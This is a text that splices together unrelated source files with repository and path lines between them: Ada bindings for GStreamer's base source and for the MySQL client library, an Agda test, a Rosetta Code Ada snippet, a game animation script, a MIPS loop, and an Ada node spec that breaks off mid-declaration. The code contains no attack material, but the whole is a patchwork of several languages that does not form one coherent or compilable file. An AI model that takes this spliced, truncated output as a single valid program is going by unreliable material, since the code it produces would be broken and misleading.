-- * This library is free software; you can redistribute it and/or
-- * modify it under the terms of the GNU Library General Public
-- * License as published by the Free Software Foundation; either
-- * version 2 of the License, or (at your option) any later version.
-- *
-- * This library is distributed in the hope that it will be useful,
-- * but WITHOUT ANY WARRANTY; without even the implied warranty of
-- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-- * Library General Public License for more details.
-- *
-- * You should have received a copy of the GNU Library General Public
-- * License along with this library; if not, write to the
-- * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
-- * Boston, MA 02111-1307, USA.
--
--*
-- * GstBaseSrcFlags:
-- * @GST_BASE_SRC_STARTED: has source been started
-- * @GST_BASE_SRC_FLAG_LAST: offset to define more flags
-- *
-- * The #GstElement flags that a basesrc element may have.
--
-- padding
subtype GstBaseSrcFlags is unsigned;
GST_BASE_SRC_STARTED : constant GstBaseSrcFlags := 1048576;
GST_BASE_SRC_FLAG_LAST : constant GstBaseSrcFlags := 4194304; -- gst/base/gstbasesrc.h:50
type GstBaseSrc;
type anon_307;
type anon_308 is record
typefind : aliased GLIB.gboolean; -- gst/base/gstbasesrc.h:108
running : aliased GLIB.gboolean; -- gst/base/gstbasesrc.h:109
pending_seek : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h.GstEvent; -- gst/base/gstbasesrc.h:110
end record;
pragma Convention (C_Pass_By_Copy, anon_308);
type u_GstBaseSrc_u_gst_reserved_array is array (0 .. 18) of System.Address;
type anon_307 (discr : unsigned := 0) is record
case discr is
when 0 =>
ABI : aliased anon_308; -- gst/base/gstbasesrc.h:111
when others =>
u_gst_reserved : u_GstBaseSrc_u_gst_reserved_array; -- gst/base/gstbasesrc.h:112
end case;
end record;
pragma Convention (C_Pass_By_Copy, anon_307);
pragma Unchecked_Union (anon_307);--subtype GstBaseSrc is u_GstBaseSrc; -- gst/base/gstbasesrc.h:52
type GstBaseSrcClass;
type u_GstBaseSrcClass_u_gst_reserved_array is array (0 .. 13) of System.Address;
--subtype GstBaseSrcClass is u_GstBaseSrcClass; -- gst/base/gstbasesrc.h:53
-- skipped empty struct u_GstBaseSrcPrivate
-- skipped empty struct GstBaseSrcPrivate
--*
-- * GST_BASE_SRC_PAD:
-- * @obj: base source instance
-- *
-- * Gives the pointer to the #GstPad object of the element.
--
--*
-- * GstBaseSrc:
-- *
-- * The opaque #GstBaseSrc data structure.
--
type GstBaseSrc is record
element : aliased GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstelement_h.GstElement; -- gst/base/gstbasesrc.h:71
srcpad : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstpad_h.GstPad; -- gst/base/gstbasesrc.h:74
live_lock : access GStreamer.GST_Low_Level.glib_2_0_glib_gthread_h.GMutex; -- gst/base/gstbasesrc.h:78
live_cond : access GStreamer.GST_Low_Level.glib_2_0_glib_gthread_h.GCond; -- gst/base/gstbasesrc.h:79
is_live : aliased GLIB.gboolean; -- gst/base/gstbasesrc.h:80
live_running : aliased GLIB.gboolean; -- gst/base/gstbasesrc.h:81
blocksize : aliased GLIB.gint; -- gst/base/gstbasesrc.h:84
can_activate_push : aliased GLIB.gboolean; -- gst/base/gstbasesrc.h:85
pad_mode : aliased GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstpad_h.GstActivateMode; -- gst/base/gstbasesrc.h:86
seekable : aliased GLIB.gboolean; -- gst/base/gstbasesrc.h:87
random_access : aliased GLIB.gboolean; -- gst/base/gstbasesrc.h:88
clock_id : GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstclock_h.GstClockID; -- gst/base/gstbasesrc.h:90
end_time : aliased GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstclock_h.GstClockTime; -- gst/base/gstbasesrc.h:91
segment : aliased GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstsegment_h.GstSegment; -- gst/base/gstbasesrc.h:94
need_newsegment : aliased GLIB.gboolean; -- gst/base/gstbasesrc.h:96
offset : aliased GLIB.guint64; -- gst/base/gstbasesrc.h:98
size : aliased GLIB.guint64; -- gst/base/gstbasesrc.h:99
num_buffers : aliased GLIB.gint; -- gst/base/gstbasesrc.h:101
num_buffers_left : aliased GLIB.gint; -- gst/base/gstbasesrc.h:102
data : aliased anon_307; -- gst/base/gstbasesrc.h:113
priv : System.Address; -- gst/base/gstbasesrc.h:115
end record;
pragma Convention (C_Pass_By_Copy, GstBaseSrc); -- gst/base/gstbasesrc.h:70
--< protected >
-- available to subclass implementations
-- MT-protected (with LIVE_LOCK)
-- MT-protected (with LOCK)
-- size of buffers when operating push based
-- some scheduling properties
-- not used anymore
-- for syncing
-- MT-protected (with STREAM_LOCK *and* OBJECT_LOCK)
-- MT-protected (with STREAM_LOCK)
-- current offset in the resource, unused
-- total size of the resource, unused
--< private >
-- FIXME: those fields should be moved into the private struct
--*
-- * GstBaseSrcClass:
-- * @parent_class: Element parent class
-- * @get_caps: Called to get the caps to report
-- * @set_caps: Notify subclass of changed output caps
-- * @negotiate: Negotiated the caps with the peer.
-- * @newsegment: Generate and send a new_segment event (UNUSED)
-- * @start: Start processing. Subclasses should open resources and prepare
-- * to produce data.
-- * @stop: Stop processing. Subclasses should use this to close resources.
-- * @get_times: Given a buffer, return the start and stop time when it
-- * should be pushed out. The base class will sync on the clock using
-- * these times.
-- * @get_size: Return the total size of the resource, in the configured format.
-- * @is_seekable: Check if the source can seek
-- * @unlock: Unlock any pending access to the resource. Subclasses should
-- * unblock any blocked function ASAP. In particular, any create() function in
-- * progress should be unblocked and should return GST_FLOW_WRONG_STATE. Any
-- * future @create<!-- -->() function call should also return GST_FLOW_WRONG_STATE
-- * until the @unlock_stop<!-- -->() function has been called.
-- * @unlock_stop: Clear the previous unlock request. Subclasses should clear
-- * any state they set during unlock(), such as clearing command queues.
-- * @event: Override this to implement custom event handling.
-- * @create: Ask the subclass to create a buffer with offset and size.
-- * When the subclass returns GST_FLOW_OK, it MUST return a buffer of the
-- * requested size unless fewer bytes are available because an EOS condition
-- * is near. No buffer should be returned when the return value is different
-- * from GST_FLOW_OK. A return value of GST_FLOW_UNEXPECTED signifies that the
-- * end of stream is reached.
-- * @do_seek: Perform seeking on the resource to the indicated segment.
-- * @prepare_seek_segment: Prepare the GstSegment that will be passed to the
-- * do_seek vmethod for executing a seek request. Sub-classes should override
-- * this if they support seeking in formats other than the configured native
-- * format. By default, it tries to convert the seek arguments to the
-- * configured native format and prepare a segment in that format.
-- * Since: 0.10.13
-- * @query: Handle a requested query.
-- * @check_get_range: Check whether the source would support pull-based
-- * operation if it were to be opened now. This vfunc is optional, but
-- * should be implemented if possible to avoid unnecessary start/stop
-- * cycles. The default implementation will open and close the resource
-- * to find out whether get_range is supported, and that is usually
-- * undesirable.
-- * @fixate: Called during negotiation if caps need fixating. Implement instead of
-- * setting a fixate function on the source pad.
-- *
-- * Subclasses can override any of the available virtual methods or not, as
-- * needed. At the minimum, the @create method should be overridden to produce
-- * buffers.
--
type GstBaseSrcClass is record
parent_class : aliased GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstelement_h.GstElementClass; -- gst/base/gstbasesrc.h:169
get_caps : access function (arg1 : access GstBaseSrc) return access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstcaps_h.GstCaps; -- gst/base/gstbasesrc.h:175
set_caps : access function (arg1 : access GstBaseSrc; arg2 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstcaps_h.GstCaps) return GLIB.gboolean; -- gst/base/gstbasesrc.h:177
negotiate : access function (arg1 : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:180
newsegment : access function (arg1 : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:183
start : access function (arg1 : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:186
stop : access function (arg1 : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:187
get_times : access procedure
(arg1 : access GstBaseSrc;
arg2 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstbuffer_h.GstBuffer;
arg3 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstclock_h.GstClockTime;
arg4 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstclock_h.GstClockTime); -- gst/base/gstbasesrc.h:192
get_size : access function (arg1 : access GstBaseSrc; arg2 : access GLIB.guint64) return GLIB.gboolean; -- gst/base/gstbasesrc.h:195
is_seekable : access function (arg1 : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:198
unlock : access function (arg1 : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:201
event : access function (arg1 : access GstBaseSrc; arg2 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h.GstEvent) return GLIB.gboolean; -- gst/base/gstbasesrc.h:204
create : access function
(arg1 : access GstBaseSrc;
arg2 : GLIB.guint64;
arg3 : GLIB.guint;
arg4 : System.Address) return GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstpad_h.GstFlowReturn; -- gst/base/gstbasesrc.h:208
do_seek : access function (arg1 : access GstBaseSrc; arg2 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstsegment_h.GstSegment) return GLIB.gboolean; -- gst/base/gstbasesrc.h:212
query : access function (arg1 : access GstBaseSrc; arg2 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h.GstQuery) return GLIB.gboolean; -- gst/base/gstbasesrc.h:214
check_get_range : access function (arg1 : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:222
fixate : access procedure (arg1 : access GstBaseSrc; arg2 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstcaps_h.GstCaps); -- gst/base/gstbasesrc.h:225
unlock_stop : access function (arg1 : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:228
prepare_seek_segment : access function
(arg1 : access GstBaseSrc;
arg2 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h.GstEvent;
arg3 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstsegment_h.GstSegment) return GLIB.gboolean; -- gst/base/gstbasesrc.h:233
u_gst_reserved : u_GstBaseSrcClass_u_gst_reserved_array; -- gst/base/gstbasesrc.h:236
end record;
pragma Convention (C_Pass_By_Copy, GstBaseSrcClass); -- gst/base/gstbasesrc.h:168
--< public >
-- virtual methods for subclasses
-- get caps from subclass
-- notify the subclass of new caps
-- decide on caps
-- generate and send a newsegment (UNUSED)
-- start and stop processing, ideal for opening/closing the resource
-- given a buffer, return start and stop time when it should be pushed
-- * out. The base class will sync on the clock using these times.
-- get the total size of the resource in bytes
-- check if the resource is seekable
-- unlock any pending access to the resource. subclasses should unlock
-- * any function ASAP.
-- notify subclasses of an event
-- ask the subclass to create a buffer with offset and size
-- additions that change padding...
-- notify subclasses of a seek
-- notify subclasses of a query
-- check whether the source would support pull-based operation if
-- * it were to be opened now. This vfunc is optional, but should be
-- * implemented if possible to avoid unnecessary start/stop cycles.
-- * The default implementation will open and close the resource to
-- * find out whether get_range is supported and that is usually
-- * undesirable.
-- called if, in negotiation, caps need fixating
-- Clear any pending unlock request, as we succeeded in unlocking
-- Prepare the segment on which to perform do_seek(), converting to the
-- * current basesrc format.
--< private >
function gst_base_src_get_type return GLIB.GType; -- gst/base/gstbasesrc.h:239
pragma Import (C, gst_base_src_get_type, "gst_base_src_get_type");
function gst_base_src_wait_playing (src : access GstBaseSrc) return GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstpad_h.GstFlowReturn; -- gst/base/gstbasesrc.h:241
pragma Import (C, gst_base_src_wait_playing, "gst_base_src_wait_playing");
procedure gst_base_src_set_live (src : access GstBaseSrc; live : GLIB.gboolean); -- gst/base/gstbasesrc.h:243
pragma Import (C, gst_base_src_set_live, "gst_base_src_set_live");
function gst_base_src_is_live (src : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:244
pragma Import (C, gst_base_src_is_live, "gst_base_src_is_live");
procedure gst_base_src_set_format (src : access GstBaseSrc; format : GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstformat_h.GstFormat); -- gst/base/gstbasesrc.h:246
pragma Import (C, gst_base_src_set_format, "gst_base_src_set_format");
procedure gst_base_src_set_dynamic_size (src : access GstBaseSrc; dynamic : GLIB.gboolean); -- gst/base/gstbasesrc.h:248
pragma Import (C, gst_base_src_set_dynamic_size, "gst_base_src_set_dynamic_size");
function gst_base_src_query_latency
(src : access GstBaseSrc;
live : access GLIB.gboolean;
min_latency : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstclock_h.GstClockTime;
max_latency : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstclock_h.GstClockTime) return GLIB.gboolean; -- gst/base/gstbasesrc.h:250
pragma Import (C, gst_base_src_query_latency, "gst_base_src_query_latency");
procedure gst_base_src_set_blocksize (src : access GstBaseSrc; blocksize : GLIB.gulong); -- gst/base/gstbasesrc.h:254
pragma Import (C, gst_base_src_set_blocksize, "gst_base_src_set_blocksize");
function gst_base_src_get_blocksize (src : access GstBaseSrc) return GLIB.gulong; -- gst/base/gstbasesrc.h:255
pragma Import (C, gst_base_src_get_blocksize, "gst_base_src_get_blocksize");
procedure gst_base_src_set_do_timestamp (src : access GstBaseSrc; timestamp : GLIB.gboolean); -- gst/base/gstbasesrc.h:257
pragma Import (C, gst_base_src_set_do_timestamp, "gst_base_src_set_do_timestamp");
function gst_base_src_get_do_timestamp (src : access GstBaseSrc) return GLIB.gboolean; -- gst/base/gstbasesrc.h:258
pragma Import (C, gst_base_src_get_do_timestamp, "gst_base_src_get_do_timestamp");
function gst_base_src_new_seamless_segment
(src : access GstBaseSrc;
start : GLIB.gint64;
stop : GLIB.gint64;
position : GLIB.gint64) return GLIB.gboolean; -- gst/base/gstbasesrc.h:260
pragma Import (C, gst_base_src_new_seamless_segment, "gst_base_src_new_seamless_segment");
end GStreamer.GST_Low_Level.gstreamer_0_10_gst_base_gstbasesrc_h;
|
test/Succeed/fol-theorems/ProofTerm2.agda | asr/apia | 10 | 993 | ------------------------------------------------------------------------------
-- Testing the erasing of proof terms
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module ProofTerm2 where
postulate
D : Set
N : D → Set
_≡_ : D → D → Set
postulate foo : ∀ {m n} → (Nm : N m) → (Nn : N n) → m ≡ m
{-# ATP prove foo #-}
|
source/sql/mysql/matreshka-internals-sql_drivers-mysql.ads | svn2github/matreshka | 24 | 13569 | <reponame>svn2github/matreshka<gh_stars>10-100
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- SQL Database Access --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2012-2013, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This package provides low level binding to MySQL client library or embedded
-- server functions.
------------------------------------------------------------------------------
with System;
with Interfaces.C.Strings;
package Matreshka.Internals.SQL_Drivers.MySQL is
pragma Preelaborate;
-----------
-- Types --
-----------
type MYSQL is limited private;
type MYSQL_Access is access all MYSQL;
pragma Convention (C, MYSQL_Access);
type MYSQL_STMT is limited private;
type MYSQL_STMT_Access is access all MYSQL_STMT;
pragma Convention (C, MYSQL_STMT_Access);
type MYSQL_RES is limited private;
type MYSQL_RES_Access is access all MYSQL_RES;
pragma Convention (C, MYSQL_RES_Access);
type my_bool is new Interfaces.C.signed_char;
type mysql_option is
(MYSQL_OPT_CONNECT_TIMEOUT,
MYSQL_OPT_COMPRESS,
MYSQL_OPT_NAMED_PIPE,
MYSQL_INIT_COMMAND,
MYSQL_READ_DEFAULT_FILE,
MYSQL_READ_DEFAULT_GROUP,
MYSQL_SET_CHARSET_DIR,
MYSQL_SET_CHARSET_NAME,
MYSQL_OPT_LOCAL_INFILE,
MYSQL_OPT_PROTOCOL,
MYSQL_SHARED_MEMORY_BASE_NAME,
MYSQL_OPT_READ_TIMEOUT,
MYSQL_OPT_WRITE_TIMEOUT,
MYSQL_OPT_USE_RESULT,
MYSQL_OPT_USE_REMOTE_CONNECTION,
MYSQL_OPT_USE_EMBEDDED_CONNECTION,
MYSQL_OPT_GUESS_CONNECTION,
MYSQL_SET_CLIENT_IP,
MYSQL_SECURE_AUTH,
MYSQL_REPORT_DATA_TRUNCATION,
MYSQL_OPT_RECONNECT,
MYSQL_OPT_SSL_VERIFY_SERVER_CERT,
MYSQL_PLUGIN_DIR,
MYSQL_DEFAULT_AUTH);
pragma Convention (C, mysql_option);
type enum_field_types is
(MYSQL_TYPE_DECIMAL,
MYSQL_TYPE_TINY,
MYSQL_TYPE_SHORT,
MYSQL_TYPE_LONG,
MYSQL_TYPE_FLOAT,
MYSQL_TYPE_DOUBLE,
MYSQL_TYPE_NULL,
MYSQL_TYPE_TIMESTAMP,
MYSQL_TYPE_LONGLONG,
MYSQL_TYPE_INT24,
MYSQL_TYPE_DATE,
MYSQL_TYPE_TIME,
MYSQL_TYPE_DATETIME,
MYSQL_TYPE_YEAR,
MYSQL_TYPE_NEWDATE,
MYSQL_TYPE_VARCHAR,
MYSQL_TYPE_BIT,
MYSQL_TYPE_NEWDECIMAL,
MYSQL_TYPE_ENUM,
MYSQL_TYPE_SET,
MYSQL_TYPE_TINY_BLOB,
MYSQL_TYPE_MEDIUM_BLOB,
MYSQL_TYPE_LONG_BLOB,
MYSQL_TYPE_BLOB,
MYSQL_TYPE_VAR_STRING,
MYSQL_TYPE_STRING,
MYSQL_TYPE_GEOMETRY);
pragma Convention (C, enum_field_types);
for enum_field_types use
(MYSQL_TYPE_DECIMAL => 0,
MYSQL_TYPE_TINY => 1,
MYSQL_TYPE_SHORT => 2,
MYSQL_TYPE_LONG => 3,
MYSQL_TYPE_FLOAT => 4,
MYSQL_TYPE_DOUBLE => 5,
MYSQL_TYPE_NULL => 6,
MYSQL_TYPE_TIMESTAMP => 7,
MYSQL_TYPE_LONGLONG => 8,
MYSQL_TYPE_INT24 => 9,
MYSQL_TYPE_DATE => 10,
MYSQL_TYPE_TIME => 11,
MYSQL_TYPE_DATETIME => 12,
MYSQL_TYPE_YEAR => 13,
MYSQL_TYPE_NEWDATE => 14,
MYSQL_TYPE_VARCHAR => 15,
MYSQL_TYPE_BIT => 16,
MYSQL_TYPE_NEWDECIMAL => 246,
MYSQL_TYPE_ENUM => 247,
MYSQL_TYPE_SET => 248,
MYSQL_TYPE_TINY_BLOB => 249,
MYSQL_TYPE_MEDIUM_BLOB => 250,
MYSQL_TYPE_LONG_BLOB => 251,
MYSQL_TYPE_BLOB => 252,
MYSQL_TYPE_VAR_STRING => 253,
MYSQL_TYPE_STRING => 254,
MYSQL_TYPE_GEOMETRY => 255);
type MYSQL_BIND is limited record
length : access Interfaces.C.unsigned_long;
is_null : access my_bool;
buffer : System.Address;
error : access my_bool;
row_ptr : access Interfaces.C.unsigned_char;
store_param_func : System.Address;
fetch_result : System.Address;
skip_result : System.Address;
buffer_length : Interfaces.C.unsigned_long;
offset : Interfaces.C.unsigned_long;
length_value : Interfaces.C.unsigned_long;
param_number : Interfaces.C.unsigned;
pack_length : Interfaces.C.unsigned;
buffer_type : enum_field_types;
error_value : my_bool;
is_unsigned : my_bool;
long_data_used : my_bool;
is_null_value : my_bool;
extension : System.Address;
end record;
pragma Convention (C, MYSQL_BIND);
type MYSQL_BIND_Array is array (Positive range <>) of aliased MYSQL_BIND;
pragma Convention (C, MYSQL_BIND_Array);
type MYSQL_BIND_Array_Access is access all MYSQL_BIND_Array;
type MYSQL_FIELD is record
name : Interfaces.C.Strings.chars_ptr;
org_name : Interfaces.C.Strings.chars_ptr;
table : Interfaces.C.Strings.chars_ptr;
org_table : Interfaces.C.Strings.chars_ptr;
db : Interfaces.C.Strings.chars_ptr;
catalog : Interfaces.C.Strings.chars_ptr;
def : Interfaces.C.Strings.chars_ptr;
length : Interfaces.C.unsigned_long;
max_length : Interfaces.C.unsigned_long;
name_length : Interfaces.C.unsigned;
org_name_length : Interfaces.C.unsigned;
table_length : Interfaces.C.unsigned;
org_table_length : Interfaces.C.unsigned;
db_length : Interfaces.C.unsigned;
catalog_length : Interfaces.C.unsigned;
def_length : Interfaces.C.unsigned;
flags : Interfaces.C.unsigned;
decimals : Interfaces.C.unsigned;
charsetnr : Interfaces.C.unsigned;
field_type : enum_field_types;
extension : System.Address;
end record;
pragma Convention (C, MYSQL_FIELD);
type MYSQL_FIELD_Access is access all MYSQL_FIELD;
pragma Convention (C, MYSQL_FIELD_Access);
MYSQL_NO_DATA : constant := 100;
MYSQL_DATA_TRUNCATED : constant := 101;
type enum_mysql_timestamp_type is
(MYSQL_TIMESTAMP_NONE,
MYSQL_TIMESTAMP_ERROR,
MYSQL_TIMESTAMP_DATE,
MYSQL_TIMESTAMP_DATETIME,
MYSQL_TIMESTAMP_TIME);
for enum_mysql_timestamp_type use
(MYSQL_TIMESTAMP_NONE => -2,
MYSQL_TIMESTAMP_ERROR => -1,
MYSQL_TIMESTAMP_DATE => 0,
MYSQL_TIMESTAMP_DATETIME => 1,
MYSQL_TIMESTAMP_TIME => 2);
pragma Convention (C, enum_mysql_timestamp_type);
type MYSQL_TIME is record
year : Interfaces.C.unsigned;
month : Interfaces.C.unsigned;
day : Interfaces.C.unsigned;
hour : Interfaces.C.unsigned;
minute : Interfaces.C.unsigned;
second : Interfaces.C.unsigned;
second_part : Interfaces.C.unsigned_long;
neg : my_bool;
time_type : enum_mysql_timestamp_type;
end record;
pragma Convention (C, MYSQL_TIME);
-----------------
-- Subprograms --
-----------------
procedure mysql_close (handle : not null access MYSQL);
pragma Import (C, mysql_close, "mysql_close");
function mysql_error
(handle : not null access MYSQL) return Interfaces.C.Strings.chars_ptr;
pragma Import (C, mysql_error, "mysql_error");
procedure mysql_free_result (handle : not null access MYSQL_RES);
pragma Import (C, mysql_free_result, "mysql_free_result");
function mysql_fetch_field
(handle : not null access MYSQL_RES) return MYSQL_FIELD_Access;
pragma Import (C, mysql_fetch_field, "mysql_fetch_field");
function mysql_init (handle : access MYSQL) return MYSQL_Access;
pragma Import (C, mysql_init, "mysql_init");
function mysql_library_init
(argc : Interfaces.C.int;
argv : access Interfaces.C.Strings.chars_ptr;
groups : access Interfaces.C.Strings.chars_ptr) return Interfaces.C.int;
pragma Import (C, mysql_library_init, "mysql_server_init");
-- MySQL defines mysql_library_init as alias of mysql_server_init.
function mysql_num_fields
(handle : not null access MYSQL_RES) return Interfaces.C.unsigned;
pragma Import (C, mysql_num_fields, "mysql_num_fields");
function mysql_options
(handle : not null access MYSQL;
option : mysql_option;
arg : Interfaces.C.char_array) return Interfaces.C.int;
pragma Import (C, mysql_options, "mysql_options");
function mysql_real_connect
(handle : not null access MYSQL;
host : Interfaces.C.Strings.chars_ptr;
user : Interfaces.C.Strings.chars_ptr;
passwd : Interfaces.C.Strings.chars_ptr;
db : Interfaces.C.Strings.chars_ptr;
port : Interfaces.C.unsigned;
unix_socket : Interfaces.C.Strings.chars_ptr;
client_flag : Interfaces.C.unsigned_long) return MYSQL_Access;
pragma Import (C, mysql_real_connect, "mysql_real_connect");
function mysql_stmt_bind_param
(handle : not null access MYSQL_STMT;
bind : access MYSQL_BIND) return my_bool;
pragma Import (C, mysql_stmt_bind_param, "mysql_stmt_bind_param");
function mysql_stmt_bind_result
(handle : not null access MYSQL_STMT;
bind : access MYSQL_BIND) return my_bool;
pragma Import (C, mysql_stmt_bind_result, "mysql_stmt_bind_result");
function mysql_stmt_close
(handle : not null access MYSQL_STMT) return my_bool;
pragma Import (C, mysql_stmt_close, "mysql_stmt_close");
function mysql_stmt_error
(handle : not null access MYSQL_STMT)
return Interfaces.C.Strings.chars_ptr;
pragma Import (C, mysql_stmt_error, "mysql_stmt_error");
function mysql_stmt_execute
(handle : not null access MYSQL_STMT) return Interfaces.C.int;
pragma Import (C, mysql_stmt_execute, "mysql_stmt_execute");
function mysql_stmt_fetch
(handle : not null access MYSQL_STMT) return Interfaces.C.int;
pragma Import (C, mysql_stmt_fetch, "mysql_stmt_fetch");
function mysql_stmt_init
(handle : not null access MYSQL) return MYSQL_STMT_Access;
pragma Import (C, mysql_stmt_init, "mysql_stmt_init");
function mysql_stmt_param_count
(handle : not null access MYSQL_STMT) return Interfaces.C.unsigned_long;
pragma Import (C, mysql_stmt_param_count, "mysql_stmt_param_count");
function mysql_stmt_prepare
(handle : not null access MYSQL_STMT;
stmt_str : Interfaces.C.Strings.chars_ptr;
length : Interfaces.C.unsigned_long) return Interfaces.C.int;
pragma Import (C, mysql_stmt_prepare, "mysql_stmt_prepare");
function mysql_stmt_result_metadata
(handle : not null access MYSQL_STMT) return MYSQL_RES_Access;
pragma Import (C, mysql_stmt_result_metadata, "mysql_stmt_result_metadata");
---------------
-- Utilities --
---------------
procedure Initialize (Item : in out MYSQL_BIND_Array);
-- Fills memory by zero.
private
type MYSQL is limited null record;
type MYSQL_STMT is limited null record;
type MYSQL_RES is limited null record;
end Matreshka.Internals.SQL_Drivers.MySQL;
|
Task/Compound-data-type/Ada/compound-data-type-1.ada | LaudateCorpus1/RosettaCodeData | 1 | 19782 | type Point is tagged record
X : Integer := 0;
Y : Integer := 0;
end record;
|
gfx/pokemon/parasect/anim.asm | Dev727/ancientplatinum | 28 | 6712 | setrepeat 2
frame 1, 08
frame 2, 10
frame 1, 08
frame 0, 10
dorepeat 1
frame 4, 20
setrepeat 3
frame 0, 04
frame 4, 04
dorepeat 8
endanim
|
examples/branch.asm | tylerweston/mips2c | 0 | 160619 | <reponame>tylerweston/mips2c
# branch count
loop2:
ori $t0, $zero, 0
ori $t1, $zero, 10
ori $t2, $zero, 1
loop1:
add $t0, $t0, $t2
bne $t0, $t1, loop1
|
source/nodes/program-nodes-formal_unconstrained_array_types.ads | reznikmm/gela | 0 | 8965 | <filename>source/nodes/program-nodes-formal_unconstrained_array_types.ads<gh_stars>0
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Lexical_Elements;
with Program.Elements.Expressions;
with Program.Elements.Component_Definitions;
with Program.Elements.Formal_Unconstrained_Array_Types;
with Program.Element_Visitors;
package Program.Nodes.Formal_Unconstrained_Array_Types is
pragma Preelaborate;
type Formal_Unconstrained_Array_Type is
new Program.Nodes.Node
and Program.Elements.Formal_Unconstrained_Array_Types
.Formal_Unconstrained_Array_Type
and Program.Elements.Formal_Unconstrained_Array_Types
.Formal_Unconstrained_Array_Type_Text
with private;
function Create
(Array_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Left_Bracket_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Index_Subtypes : not null Program.Elements.Expressions
.Expression_Vector_Access;
Right_Bracket_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Of_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Component_Definition : not null Program.Elements.Component_Definitions
.Component_Definition_Access)
return Formal_Unconstrained_Array_Type;
type Implicit_Formal_Unconstrained_Array_Type is
new Program.Nodes.Node
and Program.Elements.Formal_Unconstrained_Array_Types
.Formal_Unconstrained_Array_Type
with private;
function Create
(Index_Subtypes : not null Program.Elements.Expressions
.Expression_Vector_Access;
Component_Definition : not null Program.Elements.Component_Definitions
.Component_Definition_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
return Implicit_Formal_Unconstrained_Array_Type
with Pre =>
Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance;
private
type Base_Formal_Unconstrained_Array_Type is
abstract new Program.Nodes.Node
and Program.Elements.Formal_Unconstrained_Array_Types
.Formal_Unconstrained_Array_Type
with record
Index_Subtypes : not null Program.Elements.Expressions
.Expression_Vector_Access;
Component_Definition : not null Program.Elements.Component_Definitions
.Component_Definition_Access;
end record;
procedure Initialize
